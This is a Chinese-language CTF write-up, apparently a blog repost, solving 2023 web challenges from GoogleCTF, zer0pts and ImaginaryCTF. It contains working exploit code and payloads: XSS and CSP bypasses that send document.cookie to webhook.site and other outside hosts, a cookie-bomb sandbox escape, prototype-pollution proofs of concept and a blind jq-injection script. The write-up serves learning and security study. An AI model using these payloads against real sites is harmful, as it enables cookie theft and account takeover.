网站首页 > 技术文章 正文
前阵子忙着旅游,没什么时间在打CTF,就算有打也有点懒得写writeup,导致上一篇writeup 已经是3 月份的时候了。觉得这样断掉其实有点可惜,就赶快再写一篇补回来。
标题提到的这三个CTF,我只有打GoogleCTF 2023,其他两场都只有稍微看一下题目而已,所以这篇也只是对题目以及解法做个笔记。
关键字列表:
- Flask 跟PHP 解析POST data 的顺序不一致
- iframe csp 阻止部分script 载入
- HEAD 绕CSRF
- location.ancestorOrigins 取父起源
- iframe 改location 不会改到src
- recaptcha URL 的 Angular CSP bypass gadget
- document.execCommand('undo'); 还原input
- X-HTTP-方法覆盖
- HTML 与XHTML 的parser 差异
谷歌CTF 2023
这边有官方给的完整题目内容跟解法:https://github.com/google/google-ctf/tree/master/2023
正在建设中(466 个解决方案)
这题的核心程式码如下:
@authorized.route('/signup', methods=['POST'])
def signup_post():
raw_request = request.get_data()
username = request.form.get('username')
password = request.form.get('password')
tier = models.Tier(request.form.get('tier'))
if(tier == models.Tier.GOLD):
flash('GOLD tier only allowed for the CEO')
return redirect(url_for('authorized.signup'))
if(len(username) > 15 or len(username) < 4):
flash('Username length must be between 4 and 15')
return redirect(url_for('authorized.signup'))
user = models.User.query.filter_by(username=username).first()
if user:
flash('Username address already exists')
return redirect(url_for('authorized.signup'))
new_user = models.User(username=username,
password=generate_password_hash(password, method='sha256'), tier=tier.name)
db.session.add(new_user)
db.session.commit()
requests.post(f"http://{PHP_HOST}:1337/account_migrator.php",
headers={"token": TOKEN, "content-type": request.headers.get("content-type")}, data=raw_request)
return redirect(url_for('authorized.login'))
有一个注册的功能,会检查data 中的参数,检查完以后把request forward 到PHP 那边,而我们的目标是建议一个tier 为GOLD 的使用者。
解法是利用PHP 跟Flask 对于POST data 解析的不一致,如果传a=1&a=2 的话,Flask 在拿a 的时候会得到1(第一个),而PHP 会拿到2(最后一个)
因此只要运用这个不一致,就可以在Flask 那边建立一个合法的使用者,但是forward 给PHP 的时候tier 变成GOLD:
curl -X POST http://<flask-challenge>/signup -d "username=username&password=password&tier=blue&tier=gold"
生化危机 (14 解决)
这题的功能是可以让你建立一个note,而目标是XSS。
在render note 的时候,有一个prototype pollution 的洞,在render 的时候会先sanitized:
goog.require('goog.dom');
goog.require('goog.dom.safe');
goog.require('goog.html.sanitizer.unsafe');
goog.require('goog.html.sanitizer.HtmlSanitizer.Builder');
goog.require('goog.string.Const');
window.addEventListener('DOMContentLoaded', () => {
var Const = goog.string.Const;
var unsafe = goog.html.sanitizer.unsafe;
var builder = new goog.html.sanitizer.HtmlSanitizer.Builder();
builder = unsafe.alsoAllowTags(
Const.from('IFRAME is required for Youtube embed'), builder, ['IFRAME']);
sanitizer = unsafe.alsoAllowAttributes(
Const.from('iframe#src is required for Youtube embed'), builder,
[
{
tagName: 'iframe',
attributeName: 'src',
policy: (s) => s.startsWith('https://') ? s : '',
}
]).build();
});
setInnerHTML = function(elem, html) {
goog.dom.safe.setInnerHtml(elem, html);
}
而这个sanitizer 可以藉由prototype pollution 绕过部分限制,你不能用新的tag,但可以绕过attribute 的限制,例如说iframe 原本就允许使用,因此你想用iframe srcdoc 是可以的
有个麻烦的地方是CSP 是base-uri 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'unsafe-eval'; require-trusted-types-for 'script';,里面有trusted types,所以虽然你可以插入<img src=x onerror=alert(1)>,但是背后的sanitizer 在执行img.setAttribute('onerror','alert(1)') 时就会触发trusted types 的错误,就挂了。
當初搞了很久都繞不過去,後來有個想法是其實 static 資料夾底下有一堆測試用的 HTML 檔案,如果裡面哪個有 XSS 漏洞的話,其實用個 iframe src 就可以 flag 了,當時有稍微找一下不過沒找到,賽後看到有人確實是用這個解的,用的是這個檔案:https://github.com/shhnjk/closure-library/blob/master/closure/goog/demos/xpc/minimal/index.html
再後來突然發現它載入 JS 是這樣:
<script src="/static/closure-library/closure/goog/base.js" nonce="i8OeY0yF3xOOTZVZHHBqIg=="></script>
<script src="/static/bootstrap.js" nonce="i8OeY0yF3xOOTZVZHHBqIg=="></script>
<script src="/static/sanitizer.js" nonce="i8OeY0yF3xOOTZVZHHBqIg=="></script>
<script src="/static/main.js" nonce="i8OeY0yF3xOOTZVZHHBqIg=="></script>
其中有個叫做 editor 的變數是定義在 bootstrap.js,然後會在 main.js 裡面作為 script src 載入腳本,如果我們用 iframe csp 擋住 bootstrap.js 的載入,然後再搭配污染 Object.prototype.editor,就可以載入任意 JS。
而這也確實是 intended solution。
當初是在 Intigriti’s November XSS challenge 學到這招的,把 CSP 變嚴格來阻止某些 script 的載入。
蔬菜苏打水 (13 解决)
這題賽中的時候隊友一個人把它解開了,完全沒看。
賽後看了一下官方解法,第一關是用 HEAD 來繞過 CSRF 的保護,這個好像也是滿常用的技巧,第二關看起來跟去年的 HORKOS 有點像,就一樣是 JS 反序列化的漏洞,找到 gadget chain 就可以利用然後拿到 XSS。
貼一下官方解法連結:https://github.com/google/google-ctf/tree/master/2023/web-vegsoda
POSTVIEWER V2 (7 solves)
其實就是這題讓我一直逃避寫 writeup,很像電影全面啟動(inception),一層又一層,複雜到我到後面都不知道自己在幹嘛了。
雖然叫做 V2,但其實本質跟去年的題目差滿多的。
先來看重點,重點在這一段:
async function previewIframe(body, mimeType, shimUrl, container, sandbox = ['allow-scripts']) {
const url = new URL(shimUrl);
url.host = `sbx-${generateRandomPart()}.${url.host}`;
url.searchParams.set('o', window.origin);
var iframe = document.createElement('iframe');
iframe.src = url;
container.appendChild(iframe);
iframe.addEventListener('load', () => {
iframe.contentWindow?.postMessage({ body, mimeType, sandbox}, url.origin);
}, { once: true });
}
這邊會新增一個 random 的 sbx domain 的 iframe,然後把 flag 透過 postMessage 傳過去,而這個 sbx domain 的內容也很簡單:
const TRUSTED_ORIGIN = new URL(location.href).searchParams.get('o');
if(!/^https?:\/\//.test(TRUSTED_ORIGIN)) {
throw new Error("Untrusted Origin");
}else{
const DEFAULT_STYLE = 'position:absolute; top:0; left:0; bottom:0; right:0; width:100vw; height:100vh; border:none; margin:0; padding:0; z-index:999999;'
window.onmessage = (e) => {
const forbidden_sbx = /allow-same-origin/ig;
if(e.origin !== TRUSTED_ORIGIN){
throw new Error("Wrong origin");
}
if (e.data.body === undefined || !e.data.mimeType) {
throw new Error("No content to render");
};
const blob = new Blob([e.data.body], {
type: e.data.mimeType
});
const iframe = document.createElement('iframe');
iframe.style.cssText = DEFAULT_STYLE;
document.body.appendChild(iframe);
iframe.setAttribute('sandbox', '');
if(e.data.sandbox){
for(const value of e.data.sandbox){
if(forbidden_sbx.test(value) || !iframe.sandbox.supports(value)){
console.error(`Unsupported value: ${value}`);
continue;
}
iframe.sandbox.add(value);
}
}
iframe.src = URL.createObjectURL(blob);
document.body.appendChild(iframe);
window.onmessage = null;
e.source.postMessage('blob loaded', e.origin);
};
}
會把收到的內容變成 blob,然後再弄一個 sandbox iframe 放進去,而我們的目標是偷到這個 iframe 裡面的內容。
而最麻煩的點還有幾個:
- admin bot 有限制,這題不能新開視窗,任何跟 window.open 類似的功能都不能用
- 主 domain 的 CSP 是:frame-ancestors *.postviewer2-web.2023.ctfcompetition.com; frame-src *.postviewer2-web.2023.ctfcompetition.com
- sbx domain 的 CSP 是:frame-src blob:
首先呢,我們可以很輕鬆地拿到任何一個 sbx domain 的 XSS,像這樣:
iframe = document.createElement("iframe")
url = new URL("https://sbx-gggg.postviewer2-web.2023.ctfcompetition.com/shim.html");
url.searchParams.set('o', window.origin);
iframe.src = url
iframe.addEventListener('load', () => {
iframe.contentWindow.postMessage({body:"<script>alert(document.domain)</script>", mimeType: "text/html", sandbox: ["allow-modals","allow-scripts",["allow-same-origin"],["allow-same-origin"]]}, "*")
}, { once: true });
document.body.appendChild(iframe);
好,問題來了,接下來可以做什麼?
我們的第一步應該是要想辦法把主 domain 弄到 iframe 裡面去,才能做後續操作,但問題是 sbx domain 只允許嵌入 blob: 開頭的頁面,這怎麼辦呢?
此時我們想到了可以利用 cookie bomb,把 sbx domain 弄成 HTTP/2 413 Request Entity Too Large,這樣的錯誤頁面就沒有了 CSP。
所以流程是:
- 先載入我們自己的網頁
- 嵌入一個 sbx iframe,拿到 XSS
- 從 sbx iframe 寫入 cookie,讓 /bomb 路徑無法載入
- 再新增一個 iframe 是 /bomb,這個頁面沒有 CSP
- 從第二步的 iframe 可以直接改寫第四步的 iframe 的內容,拿到一個沒有 CSP 的 XSS
- 接下來就可以在 iframe 裡面再嵌入 main domain
一直到第五步都是對的,但第六步是錯的,雖然現在沒了 frame-src blob: 的限制,但是 main domain 的 frame-ancestors *.postviewer2-web.2023.ctfcompetition.com; 是指所有的 parent page,所以只要我們的 top-level page 是自己的,就繞不過 CSP。
接著我突然想到可以利用 blob,像這樣:
const blob = new Blob(['<h1>hello</h1><iframe src="http://127.0.0.1:5000/test"></iframe>'], {
type: 'text/html'
});
url = URL.createObjectURL(blob)
console.log(url)
location = url
這樣就可以讓 top-level domain 是 sbx-xxx.postviewer2-web.2023.ctfcompetition.com,符合了 CSP。
不過在嘗試的時候出現了錯誤:
Unsafe attempt to initiate navigation for frame with origin ‘http://localhost:3000/‘ from frame with URL ‘blob:https://sbx-gggg.postviewer2-web.2023.ctfcompetition.com/a15c526d-a65b-45ba-b99f-293595eb8818‘. The frame attempting to navigate the top-level window is cross-origin and either it or one of its ancestors is not allowed to navigate the top frame.
後來隊友發現 iframe 補上 sandbox 就可以了:frame.sandbox = 'allow-modals allow-scripts allow-top-navigation allow-same-origin',這也是滿值得紀錄的一個行為,我以為沒有 sandbox 的權限會更大,沒想到加上 sandbox 才可以?
所以這時候的流程就變成:
- 先載入我們自己的網頁
- 嵌入一個 sbx iframe(f1),拿到 XSS
- 從 frame1 寫入 cookie,讓 /bomb 路徑無法載入
- 再新增一個 iframe 是 /bomb(f2),這個頁面沒有 CSP
- 再新增一個 iframe f3 來執行操作
- 從 f3 改寫 f2 的 HTML,寫入的 script 會新增一個 blob html 然後改變 top.location
- 成功載入 blob 並且沒有任何 CSP
- 在 blob 頁面載入 main domain iframe
此時的 exploit 就已經 100 行了而且超複雜:
<body></body>
<script>
const sleep = ms => new Promise(r => setTimeout(r, ms))
function createBombFrame() {
let bombFrame = document.createElement("iframe")
url = new URL("https://sbx-gggg.postviewer2-web.2023.ctfcompetition.com/shim.html");
url.searchParams.set('o', window.origin);
bombFrame.src = url
bombFrame.addEventListener('load', () => {
console.log('bombFrame created')
bombFrame.contentWindow.postMessage({
body: `
<script>
const domain = document.domain
const cookieCount = 10
const cookieLength = 3000
const expireAfterMinute = 5
setCookieBomb()
function setCookie(key, value) {
const expires = new Date(+new Date() + expireAfterMinute * 60 * 1000);
const v = key + '=' + value + '; path=/bomb; domain=' + domain + '; Secure; SameSite=None; expires=' + expires.toUTCString()
parent.document.cookie = v
}
function setCookieBomb() {
const value = 'Boring' + '_'.repeat(cookieLength)
for (let i=0; i<cookieCount; i++) {
setCookie('key' + i, value);
}
}
<\/script>`,
mimeType: "text/html", sandbox: ["allow-modals", "allow-scripts", ["allow-same-origin"], ["allow-same-origin"]]
}, "*")
}, { once: true });
document.body.appendChild(bombFrame)
}
function createBrokenFrame() {
return new Promise(resolve => {
let brokenFrame = document.createElement("iframe")
url = 'https://sbx-gggg.postviewer2-web.2023.ctfcompetition.com/bomb'
brokenFrame.src = url
brokenFrame.sandbox = 'allow-modals allow-scripts allow-top-navigation allow-same-origin'
brokenFrame.addEventListener('load', () => {
console.log('brokenFrame loaded')
resolve()
}, { once: true });
brokenFrame.addEventListener('error', (e) => {
console.log('brokenFrame error', e)
resolve()
}, { once: true });
document.body.appendChild(brokenFrame)
})
}
function createXssFrame() {
console.log('createXssFrame')
window.xssFrame = document.createElement("iframe")
url = new URL("https://sbx-gggg.postviewer2-web.2023.ctfcompetition.com/shim.html");
url.searchParams.set('o', window.origin);
xssFrame.src = url
xssFrame.sandbox = 'allow-modals allow-scripts allow-top-navigation allow-same-origin'
xssFrame.name = `
const blob = new Blob(['<html><head><script src="YOUR PAYLOAD HERE" /><script>alert(1)</scr' + 'ipt></head><body><div /></body></html>'], {
type: 'text/html'
});
url = URL.createObjectURL(blob)
console.log(url)
window.top.location = url
`;
xssFrame.addEventListener('load', () => {
console.log('xss frame loaded')
window.xssFrame.contentWindow.postMessage({
body: `
<script>
top.frames[1].document.open()
console.log('writing');
console.log('<script>' + window.parent.name + '</scr' + 'ipt>');
top.frames[1].document.write('<script>' + window.parent.name + '</scr' + 'ipt>')
<\/script>`, mimeType: "text/html", sandbox: ["allow-modals", "allow-scripts", "allow-top-navigation", ["allow-same-origin"], ["allow-same-origin"]]
}, "*")
}, { once: true });
document.body.appendChild(xssFrame)
}
async function main() {
createBombFrame()
console.log("sleeping")
await sleep(2000)
console.log("creating broken frame")
await createBrokenFrame()
createXssFrame()
}
window.addEventListener('message', e => {
console.log('got message', e, window.location.toString());
})
window.addEventListener('load', () => {
main();
})
</script>
重點是做這個多事情,就只是為了把 main domain 作為 iframe 載入,就這樣而已。
而再來就卡關了,原因是沒辦法繞過這一段:
async function previewIframe(body, mimeType, shimUrl, container, sandbox = ['allow-scripts']) {
const url = new URL(shimUrl);
url.host = `sbx-${generateRandomPart()}.${url.host}`;
url.searchParams.set('o', window.origin);
var iframe = document.createElement('iframe');
iframe.src = url;
container.appendChild(iframe);
iframe.addEventListener('load', () => {
iframe.contentWindow?.postMessage({ body, mimeType, sandbox}, url.origin);
}, { once: true });
}
我們不知道那個 random domain 是什麼,所以沒辦法 postMessage,會被檢查擋住。如果能知道 random domain 的話就好辦了。
接著找了一堆 spec,看了 Chromium source code 跟 bug tracker,但還是沒什麼進展。最多就是找到這個:Issue 1359122: Security: SOP bypass leaks navigation history of iframe from other subdomain if location changed to about:blank,雖然就是我們要的但是已經修復了。
一直到比賽結束前十分鐘,隊友找到了 location.ancestorOrigins 這屬性,我才知道原來 child iframe 可以拿到 ancestor 的 origin,之前從來沒發現過(儘管它就在 location 的第一個屬性…)
時機限制的關係最後沒做出來,就差最後幾步而已了。
再來的步驟是把那個有 flag 的 blob iframe 導到我們準備好的 blob page,可以用 location.ancestorOrigins leak 出 sandbox domain:
top[0][0][0].location = URL.createObjectURL(new Blob(['<script>top.postMessage(location.ancestorOrigins[0],"*")<\/script>'], { type: 'text/html' }));
再來我們知道了 sandbox domain 以後,就可以在這個 domain 上拿到 XSS,拿到了 XSS 以後,就可以存取 sandbox domain,此時雖然 iframe 的 location 已經變了,但是 iframe 的 src 不會換,所以可以直接拿到有 flag 的 blob src,拿到之後只要 fetch 就可以取得 flag:
fetch(top[0][0].document.querySelector('iframe').src)
當初如果多個一兩個小時應該就可以做出來了,殘念。
最後附一下作者 exploit,滿值得學習的:https://github.com/google/google-ctf/blob/master/2023/web-postviewer2/solution/solve.html
NOTENINJA (3 solves)
這題基本上可以插入任意 HTML 但重點是 CSP:script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;
原本以為這題用了 Next.js,會是跟之前 corCTF 2022 很像的做法,但試了很久都沒弄出來,賽後才知道原來這題就只是找到 recaptcha 的 CSP gadget…
在 recaptcha 網站裡面有個 angular 可以拿來當作 gadget,因此最後的解法是:
++++++++++++++++++++++++++++++++++++++
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
++++++++++++++++++++++++++++++++++++++
也算是學到一個比較少人知道的 CSP bypass 了
然後有另一支隊伍直接找到了一個 Mongoose 的 0day:Mongoose Prototype Pollution Vulnerability in automattic/mongoose
原因在程式碼的這一行:https://github.com/google/google-ctf/blob/master/2023/web-noteninja/challenge/src/pages/api/notes/%5Bid%5D.js#L74
await Note.findByIdAndUpdate(id, { ...req.body, htmlDescription: htmlDescription });
直接把整個 body 吃進去,然後就可以透過 $rename 弄出一個 prototype pollution:
import { connect, model, Schema } from 'mongoose';
await connect('mongodb://127.0.0.1:27017/exploit');
const Example = model('Example', new Schema({ hello: String }));
const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});
// this is what causes the pollution
await Example.find();
const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }
process.exit();
透過這個 prototype pollution 的洞,可以讓 find() dump 出所有的資料,就可以看到其他人的 note。
zer0ptsCTF 2023
先補幾個 reference:
- zer0pts CTF writeup (in English)
- zer0pts CTF 2023 writeup (4 web challs)
- zer0pts CTF 2023 Writeups
每題的完整程式碼都在這裡:https://github.com/zer0pts/zer0pts-ctf-2023-public/tree/master/web
Warmuprofile (48 solves)
這題滿有趣的,你可以新增跟刪除使用者,目標是建立一個 admin user,但是 admin 已經存在了,所以要想辦法把它刪掉。
刪除的程式碼如下:
app.post('/user/:username/delete', needAuth, async (req, res) => {
const { username } = req.params;
const { username: loggedInUsername } = req.session;
if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
flash(req, 'general user can only delete itself');
return res.redirect('/');
}
// find user to be deleted
const user = await User.findOne({
where: { username }
});
await User.destroy({
where: { ...user?.dataValues }
});
// user is deleted, so session should be logged out
req.session.destroy();
return res.redirect('/');
});
如果仔細看仔細想的話,會發現這邊有個問題。
那就是如果你同時開兩個 tab 登入,那兩個 session 的 username 都會有東西,接著在其中一個頁面刪除使用者,刪完以後另外一個也做相同操作。
此時 User.findOne 會因為資料庫裡面已經沒有這個使用者而回傳 null,執行到 User.destroy 時就會變成 where: {},變成刪除資料庫裡面所有的東西,就可以把 admin 給刪掉。
jqi (40 solves)
這題你設定條件以後會執行相對應的 jq 指令,我也是看到這題才發現原來 jq 這麼多功能。
最主要的程式碼是這一段:
const KEYS = ['name', 'tags', 'author', 'flag'];
fastify.get('/api/search', async (request, reply) => {
const keys = 'keys' in request.query ? request.query.keys.toString().split(',') : KEYS;
const conds = 'conds' in request.query ? request.query.conds.toString().split(',') : [];
if (keys.length > 10 || conds.length > 10) {
return reply.send({ error: 'invalid key or cond' });
}
// build query for selecting keys
for (const key of keys) {
if (!KEYS.includes(key)) {
return reply.send({ error: 'invalid key' });
}
}
const keysQuery = keys.map(key => {
return `${key}:.${key}`
}).join(',');
// build query for filtering results
let condsQuery = '';
for (const cond of conds) {
const [str, key] = cond.split(' in ');
if (!KEYS.includes(key)) {
return reply.send({ error: 'invalid key' });
}
// check if the query is trying to break string literal
if (str.includes('"') || str.includes('\\(')) {
return reply.send({ error: 'hacking attempt detected' });
}
condsQuery += `| select(.${key} | contains("${str}"))`;
}
let query = `[.challenges[] ${condsQuery} | {${keysQuery}}]`;
console.log('[+] keys:', keys);
console.log('[+] conds:', conds);
console.log(query)
let result;
try {
result = await jq.run(query, './data.json', { output: 'json' });
} catch(e) {
console.log(e)
return reply.send({ error: 'something wrong' });
}
if (conds.length > 0) {
reply.send({ error: 'sorry, you cannot use filters in demo version' });
} else {
reply.send(result);
}
});
雖然說有擋雙引號但沒擋 \,因此只要兩個條件配合,就可以插入自己的 jq command,達成 command injection,用 env.FLAG 可以拿到 flag。
不過問題是不會把結果傳回來,所以是 blind injection,一個一個字元慢慢 leak 就行了,底下貼的是 zer0pts CTF 2023 writeup (4 web challs) 的 exploit:
import httpx
import string
# BASE_URL = "http://localhost:8300"
BASE_URL = "http://jqi.2023.zer0pts.com:8300"
CHARS = "}_" + string.ascii_letters + string.digits
def make_str(xs: str) -> str:
return "(" + "+".join([f"([{ord(x)}] | implode)" for x in xs]) + ")"
def is_ok(prefix: str) -> bool:
res = httpx.get(
f"{BASE_URL}/api/search",
params={
"keys": "name",
"conds": ",".join([
"\\ in name",
f"))] + [if (env.FLAG | startswith({make_str(prefix)})) then error({make_str('x')}) else 0 end] # in name"
]),
},
)
return res.json()["error"] == "something wrong"
known = "zer0pts{"
while not known.endswith("}"):
for c in CHARS:
if is_ok(known + c):
known += c
break
print(known)
print("Flag: " + known)
Neko Note (26 solves)
又是一個經典 note app,核心程式碼如下:
var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)
// replace [(note ID)] to links
func replaceLinks(note string) string {
return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
id := strings.Trim(s, "[]")
note, ok := notes[id]
if !ok {
return s
}
title := html.EscapeString(note.Title)
return fmt.Sprintf(
"<a href=/note/%s title=%s>%s</a>", id, title, title,
)
})
}
// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
note = html.EscapeString(note)
note = strings.ReplaceAll(note, "\n", "<br>")
note = replaceLinks(note)
return note
}
sanitized 之後會 replace link,這邊雖然也有 escaped,但因為屬性沒有用引號包住所以可以注入任意屬性到 a 裡面。
這邊用 onanimationend 或是 onfocus 似乎都可以觸發 XSS。
這邊觸發 XSS 以後還有個步驟,那就是要偷的東西被刪掉了,但可以用神奇的 document.execCommand('undo'); 將其復原。
ScoreShare (16 solves)
這題的核心程式碼如下:
@app.route("/", methods=['GET', 'POST'])
def upload():
if flask.request.method == 'POST':
title = flask.request.form.get('title', '')
abc = flask.request.form.get('abc', None)
link = flask.request.form.get('link', '')
if not title:
flask.flash('Title is empty')
elif not abc:
flask.flash('ABC notation is empty')
else:
sid = os.urandom(16).hex()
db().hset(sid, 'title', title)
db().hset(sid, 'abc', abc)
db().hset(sid, 'link', link)
return flask.redirect(flask.url_for('score', sid=sid))
return flask.render_template("upload.html")
@app.route("/score/<sid>")
def score(sid: str):
"""Score viewer"""
title = db().hget(sid, 'title')
link = db().hget(sid, 'link')
if link is None:
flask.flash("Score not found")
return flask.redirect(flask.url_for('upload'))
return flask.render_template("score.html", sid=sid, link=link.decode(), title=title.decode())
@app.route("/api/score/<sid>")
def api_score(sid: str):
abc = db().hget(sid, 'abc')
if abc is None:
return flask.abort(404)
else:
return flask.Response(abc)
你可以新增一個 post 之類的,然後有個 unintended 是 /api/score/<sid> 這個 endpoint 會直接把 abc 整個吐出來,所以新增兩個,一個是 JS 內容,另一個是 <script src=...> 就可以直接 XSS 了。
預期解可以參考作者的文章:zer0pts CTF 2023 Writeup,透過 iframe DOM clobbering 再搭配原有的功能達成 prototype pollution,然後找到 ABCJS 的 gadget。
Ringtone (14 solves)
這題有點小複雜,簡單記一下就好,就是可以透過 DOM clobbering 拿到一個在 Chrome extension context 的 XSS,接著用 chrome.history.search 可以拿到 flag URL,就可以去拿 flag。
作者 writeup:Ringtone Web Challenge Writeup - Zer0pts CTF 2023
Plain Blog (14 solves)
這題是一個 blog app,你需要有拿 flag 的權限才能拿到 flag,而要有這個權限你的 post 必須有 1_000_000_000_000 以上的 like,但想也知道網站有擋 max like,根本湊不了這麼多。
解法是前端有個 prototype pollution 的洞,透過這個洞去污染 fetch 的參數,放入 X-HTTP-Method-Override: PUT 的 header,就可以讓 admin bot 直接去 call 另一隻 API 拿到權限。
ImaginaryCTF 2023
Sanitized (5 solves)
這題的程式碼滿簡短的,值得注意的就是 CSP 為 default-src 'self',然後 Express 那邊有個路徑是:
app.use((req, res) => {
res.type('text').send(`Page ${req.path} not found`)
})
看得出來需要利用這個路徑的 response 作為 script 來執行。
在前端的部分就是很經典的呼叫 DOMPurify:
const params = new URLSearchParams(location.search)
const html = params.get('html')
if (html) {
document.getElementById('html').value = html
document.getElementById('display').innerHTML = DOMPurify.sanitize(html)
}
在 index.xhtml 裡面載入 main.js 時,是採用相對路徑:<script src="main.js"></script>。
我們先來看一下 unintended 的解法,滿有趣的。
非預期解是直接讓 bot 載入這個路徑:/1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//asd%2f..%2f..%2findex.xhtml#https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?
這是利用了 RPO(Relative Path Overwrite)來搞事,對後端來說 %2f 會被解析為 /,所以這個 URl 就是在載入 index.xhtml,沒啥問題。
但是對瀏覽器來說,當前的路徑變為 1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//,因此會載入 /1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//main.js,而根據 Express 的 route,response 就會是:
Page /1;var[Page]=[1];location=location.hash.slice(1)+document.cookie//main.js not found
第一句 Page/1 因為第二句的 var [Page]=[1] 的 hoisting 所以不會發生 variable is not defined 的錯誤,而最後的 main.js not found 被前面的 // 弄成註解,因此最後就執行了中間那一段,偷到了 cookie。
這操作真的帥氣。
净化复仇 (3 解决)
這題把 unintended 修掉了,讓我們來看一下預期解。
首先這題最重要的一點在於網頁是 xhtml,而非 html,因此瀏覽器的解析方式會不同。
舉例來說,作者給的 payload:
<div><div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div><style><![CDATA[</style><div data-x="]]></style><iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>
會被 HTML parser 解析為 style tag + 一個含有 data-x 屬性的 div,所以 DOMPurify 不會做任何事情,這是沒問題的 HTML。
但由於現在在 xhtml 底下,因此 CDATA 那一段就變成了像是註解的東西,刪除後變成:
<div>
<div id="url">https://webhook.site/65c71cbd-c78a-4467-8a5f-0a3add03e750?</div>
<style></style>
<iframe name='Page' /><base href='/**/+location.assign(document.all.url.textContent+document.cookie)//' /><style><!--"></div><style>--></style></div>
原本在屬性裡的 iframe 跟 base 就跑了出來。
這邊會需要 base 是因為一般來說碰到 script-src 'self' 這種 CSP,第一直覺一定是 <iframe srcdoc> 搭配 script gadget 去繞,但這題因為 xhtml 的限制在屬性中不能有<,所以要利用之後會載入的 report.js 搭配 base 去改變路徑。
在作者writeup里面还有给几个其他人的解法,每个都满有趣的。
第一个利用了HTML 会忽略在style 里的<!-- 但是xhtml 不会来创造差异:
<body>
<style>a { color: <!--}</style>
<img alt="--></style><base href='/(document.location=/http:/.source.concat(String.fromCharCode(47)).concat(String.fromCharCode(47)).concat(/cb6c5dql.requestrepo.com/.source).concat(String.fromCharCode(47)).concat(document.cookie));var[Page]=[1]//x/' />">
</body>
第二个则是DOMPurify 在侦测mXSS 时会检查valid HTML tag,需要是ASCII alphanumeric,但是XML 其实允许更多字元:
a<style><?:base id="giotino" xmlns:?="http://www.w3.org/1999/xhtml" href="/**/=1;alert(document.cookie);//" /></style>
所以在HTML context 底下是没问题的,但是在xhtml 还是会被解析为是base tag。
第三个看起来跟第一个类似,但第一个简单许多,是这样的:
ff<style><!--</style><a id="--><base href='/**/;var/**/Page;window.name=document.cookie;document.location.host=IPV4_ADDRESS_IN_INTEGER_FORM_REDACTED//'></base><!--"></a><style><k</style><style>--></style>
以HTML 来说就是一个style + a tag + 两个style tag。但是以xhtml 来说的话,会把style 里的<!-- --> 也看作是注解,因此会变成:
ff<style><base href='/**/;var/**/Page;window.name=document.cookie;document.location.host=IPV4_ADDRESS_IN_INTEGER_FORM_REDACTED//'></base></style>
从他想达成的效果来看,应该简化成这样也可以:
ff<style><!--</style><a id="--><base href='/**/;var/**/Page;window.name=document.cookie;document.location.host=IPV4_ADDRESS_IN_INTEGER_FORM_REDACTED//'></base><!--"></a><style>--></style>
from https://blog.huli.tw/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/
猜你喜欢
- 2024-10-24 初探animation中steps()属性(animation steps属性)
- 2024-10-24 HTML5(九)——超强的 SVG 动画(htmlsvg动画代码)
- 2024-10-24 自定义日历(二)(自定义日历控件)
- 2024-10-24 Flutter简单动画Animation运用(flutter 视频教程)
- 2024-10-24 css3中动画animation中的steps()函数
- 2024-10-24 移动端渲染原理浅析(移动端渲染原理浅析设计)
- 2024-10-24 iOS 事件处理机制与图像渲染过程(简述ios中的事件响应机制)
- 2024-10-24 Android 开机问题分析(android无法开机)
- 2024-10-24 决战“金三银四”,中高级Web前端大厂面试秘籍:CSS篇
- 2024-10-24 必须知道的 JavaScript API — Performance API
- 11-26Win7\8\10下一条cmd命令可查得笔记本电脑连接过的Wifi密码
- 11-26一文搞懂MySQL行锁、表锁、间隙锁详解
- 11-26电脑的wifi密码忘记了?一招教你如何找回密码,简单明了,快收藏
- 11-26代码解决忘记密码问题 教你用CMD命令查看所有连接过的WIFI密码
- 11-26CMD命令提示符能干嘛?这些功能你都知道吗?
- 11-26性能测试之慢sql分析
- 11-26论渗透信息收集的重要性
- 11-26如何查看电脑连接过的所有WiFi密码
- 最近发表
- 标签列表
-
- cmd/c (57)
- c++中::是什么意思 (57)
- sqlset (59)
- ps可以打开pdf格式吗 (58)
- phprequire_once (61)
- localstorage.removeitem (74)
- routermode (59)
- vector线程安全吗 (70)
- & (66)
- java (73)
- org.redisson (64)
- log.warn (60)
- cannotinstantiatethetype (62)
- js数组插入 (83)
- resttemplateokhttp (59)
- gormwherein (64)
- linux删除一个文件夹 (65)
- mac安装java (72)
- reader.onload (61)
- outofmemoryerror是什么意思 (64)
- flask文件上传 (63)
- eacces (67)
- 查看mysql是否启动 (70)
- java是值传递还是引用传递 (58)
- 无效的列索引 (74)